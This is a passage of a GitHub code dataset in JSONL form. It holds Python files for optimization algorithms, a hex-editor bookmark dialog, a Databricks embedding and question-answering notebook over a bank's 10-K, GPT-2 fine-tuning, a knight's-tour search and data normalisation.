agg_map_state_trans_df, agg_map_state_user_df, top_state_trans_df, top_state_user_df, top_state_user_pin_df, top_state_trans_pin_df, all_state_df = all_user_df\r\nagg_map_state_trans_df, agg_map_state_user_df, top_state_trans_df, top_state_user_df = all_dist_lat_return_war\r\n\r\n\r\n# pd.set_option('display.max_rows', None)\r\n# pd.set_option('display.max_columns', None)\r\n# print(agg_trans_state_df)\r\n\r\n\r\n\r\n","repo_name":"Rohit-Tambavekar/PhonePe-Pulse-Inspired","sub_path":"gitCloneOrPull.py","file_name":"gitCloneOrPull.py","file_ext":"py","file_size_in_byte":46159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"72043679689","text":"import jax.numpy as jnp\nfrom jax import grad, jit, vmap\nfrom jax import jacfwd, jacrev\nfrom jax import random\nimport numpy as np\nimport sympy as sym\nimport matplotlib.pyplot as plt\nfrom visualizaiton import Visualization\n\n\nclass UnconstrainedOptimization:\n    def __init__(self, cost, direction_type, stepsize_type, x0,\n                 termination_params, algo_params=None):\n        self.cost = cost\n        self.x0 = jnp.array(x0)\n        self.direction_type = direction_type\n        self.stepsize_type = stepsize_type\n        self.algo_params = algo_params\n        self.termination_params = termination_params\n\n    def armijo_condition(self, alpha, sigma, x_current, x_next, direction):\n        LHS = self.cost(x_current) - self.cost(x_next)\n        RHS = - sigma * alpha * jnp.matmul(grad(self.cost)(x_current), direction)\n        condition = True if (LHS >= RHS) else False\n        return condition\n\n    def get_step_size(self, x_current, direction):\n\n        if self.stepsize_type == 'minimization_rule':\n            # create symbolic step size: alpha\n            alpha = sym.Symbol('alpha')\n            # convert jax device array to numpy list\n            x_current = x_current.tolist()\n            direction = direction.tolist()\n            sym_vec = []\n            for d in range(len(direction)):\n                mm = x_current[d] + alpha * direction[d]\n                sym_vec.append(mm)\n            sym_cost = self.cost(sym_vec)\n            sym_derivative = sym.diff(sym_cost, alpha)\n            alpha_sym = sym.solveset(sym_derivative, alpha)\n            alpha_sym = list(alpha_sym)\n            print(alpha_sym)\n\n            # only keep the real number by checking data type\n            i = 0\n            while True:\n                condition = type(alpha_sym[i] ** 2) is sym.numbers.Float\n                if condition is True:\n                    val = alpha_sym[i]\n                    break\n                else:\n                    i += 1\n\n            alpha = float(val)\n\n        elif self.stepsize_type == 'constant':\n            alpha = self.algo_params[2]\n\n        elif self.stepsize_type == 'armijo_rule':\n            beta, s, sigma = self.algo_params\n            m = 0\n            condition = False\n            while True:\n                alpha = pow(beta, m) * s\n                x_next = x_current + alpha * direction\n                condition = self.armijo_condition(alpha, sigma, x_current, x_next, direction)\n\n                if condition is True:\n                    break\n                m += 1\n        else:\n            raise Exception(\n                'Unknown step size type, please input one of the following: minimization_tule, constant, armijo rule')\n\n        return alpha\n\n    def get_gradient_direction(self, x_val):\n        # get derivative of the cost function\n        derivative = grad(self.cost)(x_val)\n\n        if self.direction_type == 'steepest_descent':\n            # D in case of steepest descent is identity matrix\n            D = jnp.identity(len(x_val))\n            direction = - jnp.matmul(D, derivative)\n\n        elif self.direction_type == 'newton_method':\n            hessian = jacfwd(jacrev(self.cost))(x_val)\n            D = jnp.linalg.inv(hessian)\n            direction = - jnp.matmul(D, derivative)\n\n        else:\n            raise Exception(\n                'Unknown gradient based method, please input one of the following: '\n                'steepest_descent, newton_method')\n\n        return direction\n\n    def update(self, x_current, X_opt, error_val, error_cache):\n\n        # update states\n        X_opt.append(np.asarray(x_current, dtype=float))\n        direction = self.get_gradient_direction(x_current)\n        step_size = self.get_step_size(x_current, direction)\n        x_next = x_current + step_size * direction\n        error_val = x_current - x_next\n        error_norm = jnp.linalg.norm(error_val)\n        error_cache.append(error_norm)\n\n        return x_next, X_opt, error_norm, error_cache\n\n    def run_algorithm(self):\n        \"\"\"\n        Runs the algorithm provided the user with starting and termination conditions,\n        If the termination condition is \"convergence\" then the algorithm runs until convergence\n        is achieved upto the desired value, the other termination option is to run the algorithm for\n        a fixed number of timesteps.\n        :return: X_opt = a matrix with co-ordinates of all the states obtained from running the algorithm\n        \"\"\"\n\n        # get termination conditions from algo_params\n        termination_type, termination_condition = self.termination_params\n\n        x_current = self.x0\n        X_opt = []\n        error_norm = np.inf\n        error_cache = []\n        fig = plt.figure()\n\n        if termination_type == \"convergence\":\n            while error_norm > termination_condition:\n                x_next, X_opt, error_norm, error_cache = self.update(\n                    x_current, X_opt, error_norm, error_cache)\n                # update state vector\n                x_current = x_next\n\n        elif termination_type == \"fixed_steps\":\n            for t in range(termination_condition):\n                x_next, X_opt, error_norm, error_cache = self.update(\n                    x_current, X_opt, error_norm, error_cache)\n                # update state vector\n                x_current = x_next\n\n        return X_opt, error_cache\n\n\n\n\n","repo_name":"ferdous-alam/OptKit","sub_path":"Gradient based methods/Unconstrained optimization/unconstrained_optimization.py","file_name":"unconstrained_optimization.py","file_ext":"py","file_size_in_byte":5348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31531545354","text":"import math\nfrom PyQt4.QtCore import Qt\nfrom PyQt4.QtGui import QColor, QPixmap, QIcon, QColorDialog, QDialogButtonBox, QButtonGroup\nimport hex.utils as utils\nimport hex.hexwidget as hexwidget\nfrom hex.forms.ui_addbookmarkdialog import Ui_AddBookmarkDialog\nimport hex.settings as settings\nimport hex.appsettings as appsettings\n\n\ncurrentBookmarkIndex = 1\n\n\ndef colorsDistance(color1, color2):\n    return math.sqrt(pow(color1.red() - color2.red(), 2) + pow(color1.green() - color2.green(), 2) +\n                     pow(color1.blue() - color2.blue(), 2))\n\n\nclass AddBookmarkDialog(utils.Dialog):\n    def __init__(self, parent, hex_widget):\n        utils.Dialog.__init__(self, parent, name='add_bookmark_dialog')\n        self.hexWidget = hex_widget\n        self.ui = Ui_AddBookmarkDialog()\n        self.ui.setupUi(self)\n        self._canCreateBookmark = True\n        self._isColorChoosen = False\n\n        self._groupMark = QButtonGroup()\n        self._groupMark.addButton(self.ui.btnMarkCaret)\n        self._groupMark.addButton(self.ui.btnMarkSelection)\n        if self.hexWidget.hasSelection:\n            self.ui.btnMarkSelection.setChecked(True)\n        else:\n            self.ui.btnMarkCaret.setChecked(True)\n\n        self._groupBind = QButtonGroup()\n        self._groupBind.addButton(self.ui.btnBoundToPosition)\n        self._groupBind.addButton(self.ui.btnBoundToData)\n        self.ui.btnBoundToData.setChecked(True)\n\n        self._bookmarkColor = QColor(Qt.red)\n\n        self.ui.btnMarkCaret.toggled.connect(self._updateOk)\n        self.ui.btnMarkSelection.toggled.connect(self._updateOk)\n        self.ui.btnMarkCaret.toggled.connect(self._updateColor)\n        self.ui.btnMarkSelection.toggled.connect(self._updateColor)\n\n        self.ui.btnSelectColor.clicked.connect(self._selectBookmarkColor)\n\n        self._updateOk()\n\n        bookmark_name = ''\n        if self._canCreateBookmark:\n            bookmark_range = self.createBookmark()\n            # find existing bookmarks that contain this one\n            c_bookmarks = [b for b in self.hexWidget.bookmarks if b.contains(bookmark_range)]\n\n            if c_bookmarks:\n                c_bookmark = min(c_bookmarks, key=lambda x: x.size)\n                bookmark_name = c_bookmark.name + '.'\n\n        if bookmark_name:\n            self.ui.txtName.setText(bookmark_name)\n        else:\n            bookmark_name = utils.tr('bookmark{0}').format(currentBookmarkIndex)\n            self.ui.txtName.setText(bookmark_name)\n            self.ui.txtName.selectAll()\n\n        self._updateColor()\n\n    def _updateColorButton(self):\n        pixmap = QPixmap(32, 32)\n        pixmap.fill(self._bookmarkColor)\n        self.ui.btnSelectColor.setIcon(QIcon(pixmap))\n\n    def _updateOk(self):\n        if self.ui.btnMarkCaret.isChecked():\n            caret_pos = self.hexWidget.caretPosition\n            enabled = caret_pos >= 0\n        else:\n            enabled = self.hexWidget.hasSelection\n        self.ui.buttonBox.button(QDialogButtonBox.Ok).setEnabled(enabled)\n        self._canCreateBookmark = enabled\n\n    def _updateColor(self):\n        if self._canCreateBookmark and not self._isColorChoosen:\n            bookmark_range = self.createBookmark()\n\n            i_bookmarks = [b for b in self.hexWidget.bookmarks if b.intersectsWith(bookmark_range)]\n            distance = settings.globalSettings()[appsettings.HexWidget_RandomColorDistance]\n            used_colors = [b.backgroundColor for b in i_bookmarks] + [self.hexWidget.theme.backgroundColor,\n                                                                      self.hexWidget.theme.textColor]\n            for i in range(100):\n                bookmark_color = utils.generateRandomColor()\n                if all(colorsDistance(bookmark_color, color) >= distance for color in used_colors):\n                    break\n            else:\n                # we have not found acceptable color... Let's just find color that is not equal to existing.\n                while bookmark_color not in used_colors:\n                    bookmark_color = utils.generateRandomColor()\n\n            self._bookmarkColor = bookmark_color\n        self._updateColorButton()\n\n    def _selectBookmarkColor(self):\n        color = QColorDialog.getColor(self._bookmarkColor, self, utils.tr('Select color for bookmark'))\n        if color.isValid():\n            self._bookmarkColor = color\n            self._updateColorButton()\n\n    def createBookmark(self):\n        bookmark = None\n        if self.ui.btnMarkCaret.isChecked():\n            caret_pos = self.hexWidget.caretPosition\n            if caret_pos >= 0:\n                bookmark = hexwidget.BookmarkedRange(self.hexWidget, caret_pos, 1, hexwidget.DataRange.UnitBytes,\n                                                     self._boundTo)\n        elif self.hexWidget.selectionRanges:\n            select_range = self.hexWidget.selectionRanges[0]\n            if select_range:\n                bookmark = hexwidget.BookmarkedRange(self.hexWidget, select_range.start, select_range.length,\n                                                     select_range.unit, self._boundTo)\n\n        if bookmark is not None:\n            bookmark.name = self.ui.txtName.text()\n            bookmark.backgroundColor = self._bookmarkColor\n\n        return bookmark\n\n    @property\n    def _boundTo(self):\n        return hexwidget.DataRange.BoundToPosition if self.ui.btnBoundToPosition.isChecked() else hexwidget.DataRange.BoundToData\n\n    def accept(self):\n        global currentBookmarkIndex\n        currentBookmarkIndex += 1\n        utils.Dialog.accept(self)\n\n","repo_name":"zenwarr/microhex","sub_path":"src/hex/addbookmarkdialog.py","file_name":"addbookmarkdialog.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"74933047368","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC\n# MAGIC # Embeddings, Vector Databases, and Search\n# MAGIC\n# MAGIC Converting text into embedding vectors is the first step to any text processing pipeline. As the amount of text gets larger, there is often a need to save these embedding vectors into a dedicated vector index or library, so that developers won't have to recompute the embeddings and the retrieval process is faster. We can then search for documents based on our intended query and pass these relevant documents into a language model (LM) as additional context. We also refer to this context as supplying the LM with \"state\" or \"memory\". The LM then generates a response based on the additional context it receives! \n# MAGIC\n# MAGIC In this notebook, we will implement the full workflow of text vectorization, vector search, and question answering workflow. While we use [FAISS](https://faiss.ai/) (vector library) and [ChromaDB](https://docs.trychroma.com/) (vector database), and a Hugging Face model, know that you can easily swap these tools out for your preferred tools or models!\n# MAGIC\n# MAGIC <img src=\"https://files.training.databricks.com/images/llm/updated_vector_search.png\" width=1000 target=\"_blank\" > \n# MAGIC\n# MAGIC ### ![Dolly](https://files.training.databricks.com/images/llm/dolly_small.png) Learning Objectives\n# MAGIC 1. Implement the workflow of reading text, converting text to embeddings, saving them to FAISS and ChromaDB \n# MAGIC 2. Query for similar documents using FAISS and ChromaDB \n# MAGIC 3. Apply a Hugging Face language model for question answering!\n\n# COMMAND ----------\n\n# MAGIC %run ./resources/helper\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Step 1: Reading data\n# MAGIC\n# MAGIC In this section, we are going to use 2022 annual report from Bank of America.\n# MAGIC The report is stored on Unity Catalog's managed volume. </a>.\n\n# COMMAND ----------\n\n\n\n# COMMAND ----------\n\n# Extract text\nfrom PyPDF2 import PdfReader\n\nfile_path2 = '/Volumes/cjc_cap_markets/capm_data/10kreports/boa-2022-10k.pdf'\n\nreader = PdfReader(file_path2)\npage = reader.pages[0]\n\nprint(page.extract_text()[:400])\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Vector Library: FAISS\n# MAGIC\n# MAGIC Vector libraries are often sufficient for small, static data. Since it's not a full-fledged database solution, it doesn't have the CRUD (Create, Read, Update, Delete) support. Once the index has been built, if there are more vectors that need to be added/removed/edited, the index has to be rebuilt from scratch. \n# MAGIC\n# MAGIC That said, vector libraries are easy, lightweight, and fast to use. Examples of vector libraries are [FAISS](https://faiss.ai/), [ScaNN](https://github.com/google-research/google-research/tree/master/scann), [ANNOY](https://github.com/spotify/annoy), and [HNSM](https://arxiv.org/abs/1603.09320).\n# MAGIC\n# MAGIC FAISS has several ways for similarity search: L2 (Euclidean distance), cosine similarity. You can read more about their implementation on their [GitHub](https://github.com/facebookresearch/faiss/wiki/Getting-started#searching) page or [blog post](https://engineering.fb.com/2017/03/29/data-infrastructure/faiss-a-library-for-efficient-similarity-search/). They also published their own [best practice guide here](https://github.com/facebookresearch/faiss/wiki/Guidelines-to-choose-an-index).\n# MAGIC\n# MAGIC If you'd like to read up more on the comparisons between vector libraries and databases, [here is a good blog post](https://weaviate.io/blog/vector-library-vs-vector-database#feature-comparison---library-versus-database).\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC The overall workflow of FAISS is captured in the diagram below. \n# MAGIC\n# MAGIC <img src=\"https://miro.medium.com/v2/resize:fit:1400/0*ouf0eyQskPeGWIGm\" width=700>\n# MAGIC\n# MAGIC Source: [How to use FAISS to build your first similarity search by Asna Shafiq](https://medium.com/loopio-tech/how-to-use-faiss-to-build-your-first-similarity-search-bf0f708aa772).\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Load open source text vectorization library. \n# MAGIC Alternatively, OpenAI has a popular embeddings model - for most of 2023 the ada002v2 model is their defacto recommendation\n\n# COMMAND ----------\n\nfrom sentence_transformers import InputExample\n\nfaiss_train_examples2 = []\nall_text = []\n\nfor page in reader.pages:\n  # for each page in the pdf, create an embeddings vector, and seperate list fro the pages of text\n  faiss_train_examples2.append(InputExample(texts=page.extract_text())) # create a list of embeddings\n  all_text.append(page.extract_text())  # create a list of text\n\n# COMMAND ----------\n\n# Get word count\nimport pandas as pd\n\ntemp = pd.DataFrame(data=all_text, columns=['page_text'])\ntemp['count'] = temp.page_text.apply(lambda x: len(x.split()))\ndisplay(temp)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Chunking window optimization\n# MAGIC Convert nested list of pages into nested list of chunks of a specified number of words\n\n# COMMAND ----------\n\ndef combine_nested_list(nested_list):\n  \"\"\"helper function to combine list\"\"\"\n  combined_text = ' '.join([''.join(sublist) for sublist in nested_list])\n  return combined_text\n\n\ndef split_string_with_overlap(input_string, chunk_size=500, overlap=20):\n  \"\"\"helper function to (re)split into specific chunk sizes. Overlap refers to number of shared words across sliding windows to prevent context loss when chunking. chunk size should be mostly based on model context window size, and to a lesser extent, desired number of chunks returned per query and considerations around context window loss\"\"\"\n  words = input_string.split()\n  result = []\n  start = 0\n\n  while start < len(words):\n    end = min(start + chunk_size, len(words))\n    chunk = words[start:end]\n\n    if start > 0:\n        chunk = words[start-overlap:end]\n\n    result.append(\" \".join(chunk))\n    start += chunk_size - overlap\n\n  return result\n\n# COMMAND ----------\n\n# Re-window document\n\nchunk_size=1000\noverlap=30\n\ntempa = combine_nested_list(all_text) # reduce nested list into single string\ntempb = split_string_with_overlap(tempa, chunk_size=chunk_size, overlap=overlap) # apply sliding window for chunking\npdf_subset2 = pd.DataFrame(data=tempb, columns=['text']) # create a dataframe\npdf_subset2['count'] = pdf_subset2.text.apply(lambda x: len(x.split())) # create new column to count/confirm number of words per chunk\npdf_subset2[\"id\"] = pdf_subset2.index # add an id column\n\ndisplay(pdf_subset2)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC\n# MAGIC ### Step 2: Vectorize text into embedding vectors\n# MAGIC We will be using `Sentence-Transformers` [library](https://www.sbert.net/) to load a language model to vectorize our text into embeddings. The library hosts some of the most popular transformers on [Hugging Face Model Hub](https://huggingface.co/sentence-transformers).\n# MAGIC Here, we are using the `model = SentenceTransformer(\"all-MiniLM-L6-v2\")` to generate embeddings.\n\n# COMMAND ----------\n\n# MAGIC %md Make sure to run cell below for access to api\n\n# COMMAND ----------\n\nimport openai\nfrom openai.embeddings_utils import get_embedding, cosine_similarity \nimport tiktoken\n\nopenaikey = dbutils.secrets.get(\"tokens\", \"canadaeh-openaikey\")\nopenai.api_key = openaikey\nopenai.api_type = \"azure\"\nopenai.api_base = \"https://canada-eh-openai.openai.azure.com/\"\nopenai.api_version = \"2023-07-01-preview\"\naoai_model = \"gpt-35-deployment\"\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC\n# MAGIC ### Step 3: Saving embedding vectors to FAISS index\n# MAGIC Below, we create the FAISS index object based on our embedding vectors, normalize vectors, and add these vectors to the FAISS index. \n\n# COMMAND ----------\n\npdf_subset2[\"text\"]\n\n# COMMAND ----------\n\ndef get_embedding_delay(x):\n  time.sleep(1)\n  return(get_embedding(x, engine = 'cjc-text-embedding-ada-002'))\n\n# COMMAND ----------\n\nimport time\n\npdf_subset2['ada_v2'] = pdf_subset2[\"text\"].apply(lambda x : get_embedding_delay(x)) \n\n# engine should be set to the deployment name you chose when you deployed the text-embedding-ada-002 (Version 2) model\n\n#can take a minute or so to run based on the number of embeddings being generated (each a seperate api call)\n\n# COMMAND ----------\n\nspark_df = spark.createDataFrame(pdf_subset2)\nspark_df.write.mode(\"overwrite\").saveAsTable(\"cjc_cap_markets.capm_data.ada_embeddings\")\n\n# COMMAND ----------\n\n# MAGIC %md ### Search through documents\n\n# COMMAND ----------\n\n# search through the reviews for a specific product\ndef search_docs(df, user_query, top_n=3):\n  embedding = get_embedding(\n      user_query,\n      engine=\"cjc-text-embedding-ada-002\" # engine should be set to the deployment name you chose when you deployed the text-embedding-ada-002 (Version 2) model\n  )\n  df[\"similarities\"] = df.ada_v2.apply(lambda x: cosine_similarity(x, embedding))\n\n  res = (\n      df.sort_values(\"similarities\", ascending=False)\n      .head(top_n)\n  )\n  return res\n\n# COMMAND ----------\n\nres = search_docs(pdf_subset2, \"Can I get information on cable company tax revenue?\", top_n=4)\ndisplay(res['text'])\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Prompt engineering for question answering \n# MAGIC\n# MAGIC Now that we have identified documents about space from the news dataset, we can pass these documents as additional context for a language model to generate a response based on them! \n# MAGIC\n# MAGIC We first need to pick a `text-generation` model. Below, we use a Hugging Face model. You can also use OpenAI as well, but you will need to get an Open AI token and [pay based on the number of tokens](https://openai.com/pricing). \n\n# COMMAND ----------\n\n#Set Model\n\n# aoai_model = \"gpt-35-turbo-16k\" # gpt-35-turbo\" # Specify the language model\n#aoai_model = \"oneenvgpt4\" # GPT-4\" # Specify the language model\n\n# COMMAND ----------\n\nprompts = [\"who is the primary company within this 10-K Form?\",\n          \"where is bank of america headquartered?\",\n          \"what were bank of america's total assets and liabilities\",\n          \"what were bank of america's total revenues\",\n          \"what are bank of america's positions on diversity and inclusion?\",\n          \"how did bank of america's net earnings improve year over year\",\n          \"what are bank of america's top assets\",\n          \"what were the q4 earnings of bank of america?\"]\n\n# COMMAND ----------\n\n# MAGIC %run ./resources/prettify\n\n# COMMAND ----------\n\ndef q_and_a(query, num_chunks):\n  res = search_docs(pdf_subset2, query, top_n=num_chunks)['text'].tolist()\n  context = combine_nested_list(res)\n\n  prompt = [{\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n            {'role': 'user','content':'test'}] \n  prompt[1] = {'role': 'user','content': f'Please answer the question: {query}. If the answer is not in the below context, feel free to attempt to answer based on your internal knowledge, but be clear that you are doing so. \\n\\n provided context: {context}' }\n\n  result = openai.ChatCompletion.create(\n      engine=aoai_model,\n      messages=prompt,\n      max_tokens=300,\n      temperature=0.0,\n  )\n\n  display_answer(query, result)\n\n# COMMAND ----------\n\nfor i in prompts:\n  q_and_a(i, 4)\n\n# COMMAND ----------\n\n\n","repo_name":"cchalc/canada-eh","sub_path":"ml/llm_boa/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":11183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35918620622","text":"import numpy as np\n\n\ndef ball2rec(ps, rows, cols):\n    if ps.shape[-1] != 3 or len(ps.shape) != 2:\n        raise Exception(f\"invalid shape {ps.shape}\")\n    pp = np.array(ps, dtype=np.float32)\n    pp /= np.linalg.norm(pp, axis=1, keepdims=True)\n    alpha = np.arccos(pp[:, 2])\n    beta = np.arctan2(pp[:, 0], pp[:, 1])\n    tx = np.round(alpha / np.pi * rows) % rows\n    ty = np.round(beta / np.pi * cols) % cols\n    ans = np.hstack([tx, ty])\n    return ans\n\n\ndef rec2ball(ps, rows, cols):\n    if ps.shape[-1] != 2 or len(ps.shape) != 2:\n        raise Exception(f\"invalid shape {ps.shape}\")\n    pp = np.array(ps, dtype=np.float32)\n    alpha = pp[:, 0] / rows * np.pi\n    beta = pp[:, 1] / cols * np.pi\n    ball_z = np.cos(alpha)\n    ball_x = np.sin(alpha) * np.sin(beta)\n    ball_y = np.sin(alpha) * np.cos(beta)\n    return np.hstack(ball_x, ball_y, ball_z)\n","repo_name":"weiyinfu/learnImageVideo","sub_path":"mediapy/vr.py","file_name":"vr.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"28863468854","text":"import os.path\nimport torch.cuda\nfrom transformers import GPT2Tokenizer, GPT2Model,TrainingArguments,Trainer\nfrom datasets import Dataset\nfrom datasets import load_dataset\n\ntokenizer = GPT2Tokenizer.from_pretrained(\"gpt2\")\nmodel=GPT2Model.from_pretrained(\"gpt2\")\ntruthful_qa = load_dataset('truthful_qa',\"generation\")\nalpaca_gpt4 = load_dataset(\"vicgalle/alpaca-gpt4\")\n\n# Extract relevant data from the datasets\ntruthful_qa_train = truthful_qa['validation']\nalpaca_gpt4_train_instruction = alpaca_gpt4['train']['instruction']\nalpaca_gpt4_train_text = alpaca_gpt4['train']['text']\nalpaca_gpt4_train_output = alpaca_gpt4['train']['output']\n\n# Combine data into training examples\ntrain_dataset = []\n\n# Add truthful_qa data\nfor i in range(len(truthful_qa_train)):\n    train_dataset.append({\n        \"input_text\": truthful_qa_train[i]['question'],\n        \"output_text\": truthful_qa_train[i]['best_answer'],\n    })\n# Add alpaca_gpt4 data\nfor i in range(len(alpaca_gpt4_train_instruction)):\n    train_dataset.append({\n        \"input_text\": alpaca_gpt4_train_instruction[i],\n        \"output_text\": alpaca_gpt4_train_output[i],\n    })\n\nfor i in range(len(alpaca_gpt4_train_text)):\n    train_dataset.append({\n        \"input_text\": alpaca_gpt4_train_text[i],\n        \"output_text\": alpaca_gpt4_train_output[i],\n    })\ntokenizer.add_special_tokens({'pad_token': '[PAD]'})\ndef tokenize_function(example):\n    input_text = f'''\n            [INST]\n            <<SYS>>Your Helpful,loyal and respectful Assistant.Your Name is JARVIS(Just a Rather Very Intelligent System)<</SYS>>\n            {example['input_text']}[/INST]\n            {example['output_text']}'''\n    return input_text\n\ntrain_datasets=[tokenize_function(x) for x in train_dataset]\ndataset=Dataset.from_dict({\"text\":train_datasets})\ndef tokenize_function(examples):\n    return tokenizer(examples[\"text\"], padding=\"max_length\", truncation=True)\n\ntokenized_datasets = dataset.map(tokenize_function, batched=True)\nprint(tokenized_datasets)\nprint(\"Training the GPT-2 model ......\")\noutput=\"gpt2-1B\"\noutput_dir=False\nif os.path.exists(f\"./{output}\"):\n    output_dir=True\nif torch.cuda.is_available():\n    cpu=False\nelse:\n    cpu=True\ntrainer_arg=TrainingArguments(\n    output_dir=output,\n    overwrite_output_dir=output_dir,\n    num_train_epochs=3,\n    learning_rate=1e-5,\n    use_cpu=cpu,\n)\ntrainer=Trainer(\n    args=trainer_arg,\n    model=model,\n    tokenizer=tokenizer,\n    train_dataset=tokenized_datasets\n)\ntrainer.train()","repo_name":"DawoodTouseef/GPT-2.5","sub_path":"reward.py","file_name":"reward.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14341665159","text":"from langchain.chains.question_answering import load_qa_chain\nimport llm_model\n\nclass Question:\n  def QA_Chain(self,query,data):\n    llms =llm_model.Models()\n    llm = llms.llm_model()\n    chain = load_qa_chain(llm, chain_type = \"stuff\", verbose = False)\n    question = query\n    ans = chain.run(input_documents = data, question = question)\n    print(\"Answer : \", ans)\n    return ans\n","repo_name":"AdityaGowrish/Financial-Chat-Bot","sub_path":"questionanswer.py","file_name":"questionanswer.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28357191927","text":"from lib import SemanticSentenceSimilarity\n\nif __name__ == '__main__':\n    sentences = [\"Seni seviyorum.\",\n                 \"Pizza mı seversin makarna mı?\",\n                 \"Pizza ve makarna yedim.\",\n                 \"I ate dinner.\",\n                 \"We had a three-course meal.\",\n                 \"Brad came to dinner with us.\",\n                 \"He loves fish tacos.\",\n                 \"In the end, we all felt like we ate too much.\",\n                 \"We all agreed; it was a magnificent evening.\",\n                 \"Sağ kol omzuna değdir.\",\n                 \"Sol el açık düz, karın hizasında avuç içi aşağı bakacak biçimdedir.\",\n                 \"Sağ el karın hizasında, avuç içi yukarı bakacak şelide açıktır.\",\n                 \"Sağ el açık düz, karın hizasında avuç içi aşağı bakacak biçimdedir.\"\n                 ]\n    extra_sentences = [\"Bugün multu hissetmiyorum.\", \"Amcanlara selam söyle.\"]\n\n    # query_sentence = \"Senden hoşlanıyorum.\"\n    query_sentence = \"Sağ el açık düz, karın hizasında avuç içi yukarı bakacak biçimdedir.\"\n    query_sentence = \"Every body thinks this evening was good.\"\n\n    # sss = SemanticSentenceSimilarity(model_name_or_path='distiluse-base-multilingual-cased-v1', device=\"cuda\")\n    # sss = SemanticSentenceSimilarity(model_name_or_path='best_model_pooling_512', device=\"cuda\")\n    sss = SemanticSentenceSimilarity(model_name_or_path='best_model_pooling_768_pca_512', device=\"cuda\")\n    # sss.extend_db(sentences)\n    # sss.extend_db(extra_sentences)\n    # print(sss.search_db(query_sentence))\n\n    for i in sentences:\n        print(i)\n        print(sss.compare(sentence_one=query_sentence,\n                          sentence_two=i))\n","repo_name":"AliEmreKeskin/semantic-text-similarity","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24720723402","text":"from simpleai.search import SearchProblem\nfrom ImprimirResultados_1 import ImprimirBusqueda\n\n\n# Estado = ((Pocicion X del Caballero, Pocicion Y del Caballero), (coordenadas por las que fue pasando el Caballero))\n\n\nEstadoInicial = (0,0),((0,0),)\n\n\nclass TourDelCaballeroProblem(SearchProblem):\n    \n  \n    def cost(self, estado1, accion, estado2):\n        return 1\n\n\n    def is_goal(self, estado):\n        return len(set(estado[1])) == 64\n\n\n    def actions(self, estado):\n        \n        posicionActualCaballero, posicionesPorLasQuePaso = estado   \n        acciones_posibles = []\n\n        Movimientos = (\n            (2,1),\n            (2,-1),\n            (-2,1),\n            (-2,-1),\n            (1,2),\n            (1,-2),\n            (-1,2),\n            (-1,-2),\n        )\n        \n        for movimiento in Movimientos:  \n\n            nuevaPosicion = list(posicionActualCaballero)\n            nuevaPosicion[0] += movimiento[0]\n            nuevaPosicion[1] += movimiento[1]\n            \n            posicionRepetida = nuevaPosicion in posicionesPorLasQuePaso\n            dentroDelTablero = ( (0 <= nuevaPosicion[0] <= 7) and (0 <= nuevaPosicion[1] <= 7))\n\n            if (not posicionRepetida) and (dentroDelTablero):\n                acciones_posibles.append(tuple(nuevaPosicion)) \n\n        return acciones_posibles\n\n\n    def result(self, estado, accion):\n\n        listaNuevoEstado = list(estado)\n        listaNuevoEstado[0] = accion\n        posicionesPorLasQuePaso = list(listaNuevoEstado[1])\n        posicionesPorLasQuePaso.append(accion)\n        listaNuevoEstado[1] = tuple(posicionesPorLasQuePaso)\n        return (tuple(listaNuevoEstado))\n\n\n\nproblema = TourDelCaballeroProblem(EstadoInicial)\nmetodosinformados = False\nImprimirBusqueda(problema,metodosinformados)","repo_name":"LucaBelmonteAmenta/Practica_IA","sub_path":"Ejercicios de Busqueda Local/TourDelCaballero.py","file_name":"TourDelCaballero.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14165949068","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\n\nclass DataNormalisation:\n\n    def __init__(self, training: pd.DataFrame, validating: pd.DataFrame, testing: pd.DataFrame):\n        \"\"\"\n\n        :param training:\n        :param validating:\n        :param testing:\n        \"\"\"\n\n        self.__training = training\n        self.__validating = validating\n        self.__testing = testing\n\n        self.__mean = self.__training.mean(axis=0)\n        self.__deviation = self.__training.std(axis=0)\n\n    def __normalise(self, data: pd.DataFrame):\n        \"\"\"\n\n        :param data:\n        :return:\n        \"\"\"\n\n        return (data - self.__mean) / self.__deviation\n\n    def graph(self, data):\n        \"\"\"\n\n        :param data:\n        :return:\n        \"\"\"\n\n        normalised = self.__normalise(data)\n        melted = normalised.melt(var_name='Field', value_name='Normalised')\n\n        plt.figure(figsize=(13, 3.5))\n        sns.axes_style('white')\n\n        handle = sns.violinplot(x='Field', y='Normalised', data=melted)\n        sns.despine(offset=10, trim=True)\n        handle.set_xticklabels(normalised.keys(), rotation=90)\n\n    def exc(self):\n        \"\"\"\n\n        :return:\n        \"\"\"\n        \n        training = self.__normalise(data=self.__training)\n        validating = self.__normalise(data=self.__validating)\n        testing = 